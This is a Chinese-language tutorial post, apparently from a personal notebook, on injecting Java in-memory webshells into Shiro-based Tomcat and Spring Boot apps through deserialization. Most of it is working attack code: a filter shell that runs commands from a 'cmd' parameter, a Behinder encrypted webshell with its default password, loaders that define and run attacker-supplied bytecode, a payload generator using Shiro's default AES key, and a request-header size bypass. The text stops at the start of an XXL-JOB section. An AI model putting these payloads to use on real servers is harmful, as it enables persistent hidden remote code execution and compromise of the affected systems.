内存马实战（持续更新中）

注：这篇文章记录在我的语雀里面，语雀格式好看一点，地址：
https://ganmaocai.yuque.com/ghgp8x/zoy1yn/faet35ae9gpxzn61

计划

复现以下框架的内存马注入：
shiro：

普通内存马
冰蝎马
WebSocket马

xxl-job

filter马
冰蝎马
netty内存马
agent内存马

其他

JNDI（字节码里执行）
SpringBoot spel表达式注入（spring cloud gateway）
Struts2的ognl表达式注入
Tomcat的EL表达式注入

参考：https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/

Tomcat+Shiro内存马

启动环境

环境使用shiro反序列化靶场（Tomcat）：https://github.com/yyhuni/shiroMemshell
配置一个tomcat地址，然后shirodemo工件添加进去启动即可
图片.png
部署工件：启动成功：

注入普通内存马

构建ExecFilter.java

注入一个filter类型的内存马ExecFilter.java，这个马有两部分：一个恶意filter和将恶意filter注册进filterChain的类。
ExecFilterFilter因为其被TemplatesImpl类来加载，所以需要继承AbstractTranslet 类，原因参考：https://ganmaocai.yuque.com/ghgp8x/zoy1yn/ezka61zk9zoksi5c#tv850
最终得到如下代码：

package MemShell.ShiroFilter;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;

public class ExecFilter extends AbstractTranslet implements Filter {
    static {
        try {
            final String name = "evil";
            final String URLPattern = "/*";

            WebappClassLoaderBase webappClassLoaderBase =
                    (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);

            ExecFilter execFilter = new ExecFilter();

            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(execFilter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(execFilter.getClass().getName());
            /**
             * 将filterDef添加到filterDefs中
             */
            standardContext.addFilterDef(filterDef);

            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern(URLPattern);
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());

            standardContext.addFilterMapBefore(filterMap);

            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

            filterConfigs.put(name, filterConfig);
        } catch (NoSuchFieldException ex) {
            ex.printStackTrace();
        } catch (InvocationTargetException ex) {
            ex.printStackTrace();
        } catch (IllegalAccessException ex) {
            ex.printStackTrace();
        } catch (NoSuchMethodException ex) {
            ex.printStackTrace();
        } catch (InstantiationException ex) {
            ex.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("Do Filter ......");
        String cmd;
        if ((cmd = servletRequest.getParameter("cmd")) != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }

        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("doFilter");
    }

    @Override
    public void destroy() {

    }
}

代码是会报错的，需要添加tomcat核心包
图片.png
添加tomcat核心包

<dependency>
  <groupId>org.apache.tomcat.embed</groupId>
  <artifactId>tomcat-embed-core</artifactId>
  <version>8.5.50</version>
</dependency>

利用反序列化漏洞注入

需要用CB1链或者CCShiro链进行注入，我之前写过：无commons-collections链：CommonsBeanutils
需要简单的改一下参数和返回值。
新建一个类Client_memshell，使用javassist读取一个类文件的class，再利用shiro自带的类，对其进行base64+aes加密

package MemShell.ShiroFilter;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Client_memshell {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(ExecFilter.class.getName());

        byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

生成poc，通过rememberMe=发送，报错请求头太大
图片.png

修改配置复现

方法一：修改maxHttpHeaderSize配置
在tomcat的server.xml 配置文件中的 <Connector> 元素内设置 maxHttpHeaderSize 属性。

maxHttpHeaderSize="999999"

图片.png
然后生成的poc构造发送，这次是200了
但是报错：Unable to deserialze argument byte array.，意思是无法将字节数组反序列化为对象。网上查了一下说的是因为tomcat版本的问题：shiro注入filter内存马及tomcat版本对获取context影响的分析_shiro内存马-CSDN博客
总结一下应该是8.5.78往后的tomcat8都不行只有之前的版本可以使用WebappClassLoaderBase#getResources()。
于是我又去下了个tomcat8.5.50的，下载地址：https://archive.apache.org/dist/tomcat/tomcat-8/
换了版本之后成功了
图片.png
成功弹计算器

绕过maxHttpHeaderSize

POST请求字节码绕过maxHttpHeaderSize

注入普通内存马

tomcat大小问题绕过参考洋洋师傅的文章：绕过maxHttpHeaderSize，我采用从POST请求体中发送字节码数据的方式进行绕过。
思路就是获取request、response等对象，然后通过request对象的getParameter方法获取参数，defineClass加载参数传进来的字节码即可。
把之前设置的maxHttpHeaderSize再删掉：
图片.png
使用链：CommonsCollectionsShiro，代码如下

package MemShell.ShiroFilter;

import MemShell.ShiroFilter.maxHttpHeaderSize.ClassDataLoader;
import MemShell.ShiroFilter.maxHttpHeaderSize.ClassDataLoader_Tomcat;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Client_memshell {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(ClassDataLoader.class.getName());

//        byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());
        byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

要注入的filter内存马ExecFilter：

package MemShell.ShiroFilter;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;

public class ExecFilter extends AbstractTranslet implements Filter {
    static {
        try {
            final String name = "evil";
            final String URLPattern = "/*";

            WebappClassLoaderBase webappClassLoaderBase =
                    (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);

            ExecFilter execFilter = new ExecFilter();

            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(execFilter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(execFilter.getClass().getName());
            /**
             * 将filterDef添加到filterDefs中
             */
            standardContext.addFilterDef(filterDef);

            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern(URLPattern);
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());

            standardContext.addFilterMapBefore(filterMap);

            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

            filterConfigs.put(name, filterConfig);
        } catch (NoSuchFieldException ex) {
            ex.printStackTrace();
        } catch (InvocationTargetException ex) {
            ex.printStackTrace();
        } catch (IllegalAccessException ex) {
            ex.printStackTrace();
        } catch (NoSuchMethodException ex) {
            ex.printStackTrace();
        } catch (InstantiationException ex) {
            ex.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("Do Filter ......");
        String cmd;
        if ((cmd = servletRequest.getParameter("cmd")) != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }

        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("doFilter");
    }

    @Override
    public void destroy() {

    }
}

构建ClassDataLoader.java用于接收参数classData然后实例化传入的字节码并执行。

package MemShell.ShiroFilter.maxHttpHeaderSize;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class ClassDataLoader extends AbstractTranslet{

    public ClassDataLoader() throws Exception {
        Object o;
        String s;
        String classData = null;
        boolean done = false;
        Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
        for (int i = 0; i < ts.length; i++) {
            Thread t = ts[i];
            if (t == null) {
                continue;
            }
            s = t.getName();
            if (!s.contains("exec") && s.contains("http")) {
                o = getFV(t, "target");
                if (!(o instanceof Runnable)) {
                    continue;
                }
                try {
                    o = getFV(getFV(getFV(o, "this$0"), "handler"), "global");
                } catch (Exception e) {
                    continue;
                }
                java.util.List ps = (java.util.List) getFV(o, "processors");
                for (int j = 0; j < ps.size(); j++) {
                    Object p = ps.get(j);
                    o = getFV(p, "req");

                    Object conreq = o.getClass().getMethod("getNote", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)});
                    classData = (String) conreq.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(conreq, new Object[]{new String("classData")});

                    byte[] bytecodes = org.apache.shiro.codec.Base64.decode(classData);
                    java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
                    defineClassMethod.setAccessible(true);
                    Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});
                    cc.newInstance();
                    done = true;

                    if (done) {
                        break;
                    }
                }
            }
        }


    }

    public Object getFV(Object o, String s) throws Exception {
        java.lang.reflect.Field f = null;
        Class clazz = o.getClass();
        while (clazz != Object.class) {
            try {
                f = clazz.getDeclaredField(s);
                break;
            } catch (NoSuchFieldException e) {
                clazz = clazz.getSuperclass();
            }
        }
        if (f == null) {
            throw new NoSuchFieldException(s);
        }
        f.setAccessible(true);
        return f.get(o);
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

}

使用Client_memshell.java生成aes+base64加密的反序列化链：

package MemShell.ShiroFilter;

import MemShell.ShiroFilter.maxHttpHeaderSize.ClassDataLoader;
import MemShell.ShiroFilter.maxHttpHeaderSize.ClassDataLoader_Tomcat;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Client_memshell {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(ClassDataLoader.class.getName());

//        byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());
        byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

将生成的poc通过Cookie: rememberMe=发送图片.png 然后生成base64编码过的ExecFilter.class字节码，通过post传参，注意还要url编码一下

cat ExecFilter.class|base64 |sed ':label;N;s/\n//;b label'

yv66vgAAADQBQwoATACjCQCkAKUIAKYKAKcAqAgAdwsAqQCqCgCrAKwKAKsArQcArgcArwoAsACxCgAKALIKAAkAswcAtAoADgCjCgAJALUKAA4AtgoADgC3CgAOALgLALkAugoAuwC8CgC9AL4KAL0AvwoAvQDACwDBAMIIAGcIAMMIAMQKAMUAxgoAxQDHBwDICgAfAMkLAMoAywcAzAoAPwDNCACMCgA7AM4KAM8A0AoAzwDRBwDSBwDTCgApAKMHANQKACsAowoAKwDVCgArANYKADsA1woAKwDYCgAiANkHANoKADIAowoAMgDbCgAyANYJANwA3QoA3ADeCgAyAN8KACIA4AcA4QcA4gcA4woAOwDkCgDlANAHAOYKAOUA5wsAKADoBwDpCgBCAOoHAOsKAEQA6gcA7AoARgDqBwDtCgBIAOoHAO4KAEoA6gcA7wcA8AEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAhTE1lbVNoZWxsL1NoaXJvRmlsdGVyL0V4ZWNGaWx0ZXI7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzb... ...

如下发送
图片.png
弹个计算器看看成功没有，成功！

注入冰蝎马

classloader和cc链都是一样的，只是将ExecFilter.java换成冰蝎马BehinderFilter.java

package MemShell.ShiroFilter;


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;
import java.lang.reflect.Method;
import java.util.*;
import javax.crypto.*;
import javax.crypto.spec.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;


public class BehinderFilter extends AbstractTranslet implements Filter {
    static {
        try {
            final String name = "evil";
            final String URLPattern = "/*";

            WebappClassLoaderBase webappClassLoaderBase =
                    (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);

            BehinderFilter behinderFilter = new BehinderFilter();

            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(behinderFilter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(behinderFilter.getClass().getName());
            /**
             * 将filterDef添加到filterDefs中
             */
            standardContext.addFilterDef(filterDef);

            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern(URLPattern);
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());

            standardContext.addFilterMapBefore(filterMap);

            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

            filterConfigs.put(name, filterConfig);
        } catch (NoSuchFieldException ex) {
            ex.printStackTrace();
        } catch (InvocationTargetException ex) {
            ex.printStackTrace();
        } catch (IllegalAccessException ex) {
            ex.printStackTrace();
        } catch (NoSuchMethodException ex) {
            ex.printStackTrace();
        } catch (InstantiationException ex) {
            ex.printStackTrace();
        }
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        try {
            System.out.println("Do Filter BX ......");
            // 获取request和response对象
            HttpServletRequest request = (HttpServletRequest) servletRequest;
            HttpServletResponse response = (HttpServletResponse)servletResponse;
            HttpSession session = request.getSession();

            //create pageContext
            HashMap pageContext = new HashMap();
            pageContext.put("request",request);
            pageContext.put("response",response);
            pageContext.put("session",session);

            if (request.getMethod().equals("POST")) {
                String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/
                session.putValue("u", k);
                Cipher c = Cipher.getInstance("AES");
                c.init(2, new SecretKeySpec(k.getBytes(), "AES"));

                //revision BehinderFilter
                Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                method.setAccessible(true);
                byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
                evilclass.newInstance().equals(pageContext);
            }
        }catch (Exception e){
            e.printStackTrace();
        }

        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("doFilter");
    }

    @Override
    public void destroy() {

    }
}

生成它的字节码，然后base64+url编码，通过classData发送

cat BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label'

然后使用冰蝎连接，成功：
URL:http://192.168.32.129:8080/shirodemo_war/
密码:rebeyond
图片.png

原理分析

ExecFilter构造思路

我写的笔记：冰蝎马分析与改造

冰蝎马改造为字节码

参考：https://mp.weixin.qq.com/s/r4cU84fASjflHrp-pE-ybg
我写的笔记：冰蝎马分析与改造

Springboot+Shiro注内存马

启动环境

启动环境遇到了挺多问题

首先springboot-shiro这个目录没有被标记为模块

解决办法：在项目结构中添加
图片.png

然后又报错“找不到项目 ‘org.springframework.boot:spring-boot-starter-parent:2.4.5’”等一堆报错，百度了一下。

解决办法：选择File—>Invalidate Caches / Restart…就可以解决这个问题，因为更新之后，缓存没有及时生效，重启之后就好了。

最后报错“java: 程序包org.apache.catalina.connector不存在”

解决办法：右键模块——>Maven——>重新加载项目
图片.png
然后终于跑起来了

注入冰蝎马

不搞那么麻烦了，直接注冰蝎马，注意spring的MyClassLoader如下，是通过Spring Boot上下文中获取：

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class MyClassLoader extends AbstractTranslet {
    static{
        try{
            javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
            java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
            r.setAccessible(true);
            org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
            javax.servlet.http.HttpSession session = request.getSession();

            String classData=request.getParameter("classData");

            byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
            java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
            defineClassMethod.setAccessible(true);
            Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
            cc.newInstance().equals(new Object[]{request,response,session});
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
    }
    @Override
    public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
    }
}

将生成的poc通过Cookie: rememberMe=发送
注意得先添加spring的依赖

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.4.5</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>

    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
    </dependency>

如下所示：
图片.png

生成冰蝎的字节码，然后base64+url编码，通过classData发送

cat BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label'

注意冰蝎马因为tomcat和spring环境不一样，需要使用try… catch… 应对不同的环境图片.png 发送后成功连接冰蝎

原理分析

spring和tomcat注册filter的差异分析

原因：springboot中的standardContext此filterConfigs值是继承自父类图片.webp 使用try-catch对不同环境进行读取即可，也就是多了个getSuperclass()

getSuperclass()：返回该类直接继承的父类的Class对象。如果该类是Object类，则返回null。

Class<? extends StandardContext> aClass = null;
            try{
                aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
                aClass.getDeclaredField("filterConfigs");
            }catch (Exception e){
                aClass = (Class<? extends StandardContext>) standardContext.getClass();
                aClass.getDeclaredField("filterConfigs");
            }

Spring Boot分析ClassLoader

首先是Spring Boot，通过Spring Boot的上下文获取request对象图片.png 然后通过request获取response和session对象通过request获取post参数classData后base64解码。最后通过反射获取ClassLoader#defineClass，然后将传过来的字节码还原为类，实例化这个类调用其equals方法，参数为request,response,session

Tomcat分析ClassLoader

Tomcat和spring代码区别就是其没有spring的上下文，需要另外寻找其request。这里是通过遍历线程Thread.currentThread()中的对象来查找到其中藏着的request对象。

可以使用内存对象搜索工具-java-object-searcher寻找，首先放到代码中：
图片.png
编写一个servlet，在其doGet方法中写入对应的查找逻辑

import josearcher.entity.Keyword;
import josearcher.searcher.SearchRequstByBFS;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.List;

public class helloController extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        PrintWriter writer = resp.getWriter();
        writer.println("hello servlet!");
        //设置搜索类型包含ServletRequest，RequstGroup，Request...等关键字的对象
        //设置搜索类型包含ServletRequest，RequstGroup，Request...等关键字的对象
        List<Keyword> keys = new ArrayList<>();
        Keyword.Builder builder = new Keyword.Builder();
        builder.setField_type("nnn");
        keys.add(new Keyword.Builder().setField_type("ServletRequest").build());
        keys.add(new Keyword.Builder().setField_type("RequstGroup").build());
        keys.add(new Keyword.Builder().setField_type("RequestInfo").build());
        keys.add(new Keyword.Builder().setField_type("RequestGroupInfo").build());
        keys.add(new Keyword.Builder().setField_type("Request").build());
        //新建一个广度优先搜索Thread.currentThread()的搜索器
        SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
        //打开调试模式
        searcher.setIs_debug(true);
        //挖掘深度为20
        searcher.setMax_search_depth(20);
        //设置报告保存位置
        searcher.setReport_save_path("C:\\");
        searcher.searchObject();
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }

}

在web.xml也要配好映射：

  <!--注册servlet-->
  <servlet>
    <servlet-name>hello</servlet-name>
    <servlet-class>controller.helloController</servlet-class>
  </servlet>
  <!--Servlet映射的请求路径-->
  <servlet-mapping>
    <servlet-name>hello</servlet-name>
    <url-pattern>/hello</url-pattern>
  </servlet-mapping>

位置如下：图片.png 我的虚拟机只有C盘，还需更改路径为C盘

searcher.setReport_save_path("C:\\");

然后访问/hello，查找结果文件保存在C盘根目录下
结果中有RequestInfo
图片.png
然后这里我还不知道打断点在那里… …
问了下朋友

说的在jar包中打断点

最后也是找到了，不过也是一知半解的，并且这个Request对象也不是最终的Request对象

这个Request对象类型为org.apache.coyote.Request，并不能直接获取到请求体里面的数据。需要通过其notes对象拿到另一个类型为org.apache.catalina.connector.Request的Request对象，通过此对象就能调用getParameter方法获取到请求体里面的数据

图片.png 复制它的堆栈出来是这样的：

createProcessor:904, AbstractHttp11Protocol (org.apache.coyote.http11)
process:798, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1623, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

然后最后的代码就是通过反射一直取值拿到request

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class ClassDataLoader extends AbstractTranslet{

    public ClassDataLoader() throws Exception {
        Object o;
        String s;
        String classData = null;
        boolean done = false;
        Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
        for (int i = 0; i < ts.length; i++) {
            Thread t = ts[i];
            if (t == null) {
                continue;
            }
            s = t.getName();
            if (!s.contains("exec") && s.contains("http")) {
                o = getFV(t, "target");
                if (!(o instanceof Runnable)) {
                    continue;
                }
                try {
                    o = getFV(getFV(getFV(o, "this$0"), "handler"), "global");
                } catch (Exception e) {
                    continue;
                }
                java.util.List ps = (java.util.List) getFV(o, "processors");
                for (int j = 0; j < ps.size(); j++) {
                    Object p = ps.get(j);
                    o = getFV(p, "req");

                    Object conreq = o.getClass().getMethod("getNote", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)});
                    classData = (String) conreq.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(conreq, new Object[]{new String("classData")});

                    byte[] bytecodes = org.apache.shiro.codec.Base64.decode(classData);
                    java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
                    defineClassMethod.setAccessible(true);
                    Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});
                    cc.newInstance();
                    done = true;

                    if (done) {
                        break;
                    }
                }
            }
        }


    }

    public Object getFV(Object o, String s) throws Exception {
        java.lang.reflect.Field f = null;
        Class clazz = o.getClass();
        while (clazz != Object.class) {
            try {
                f = clazz.getDeclaredField(s);
                break;
            } catch (NoSuchFieldException e) {
                clazz = clazz.getSuperclass();
            }
        }
        if (f == null) {
            throw new NoSuchFieldException(s);
        }
        f.setAccessible(true);
        return f.get(o);
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

}

XXL-JOB

xxl-job分为：管理端xxl-job-admin、执行端xxl-job-executor，前xxl-job打agent内存马要求管理端和执行端处于同一台主机上。现在是分为两种情况：

在同一台：打vagent内存马
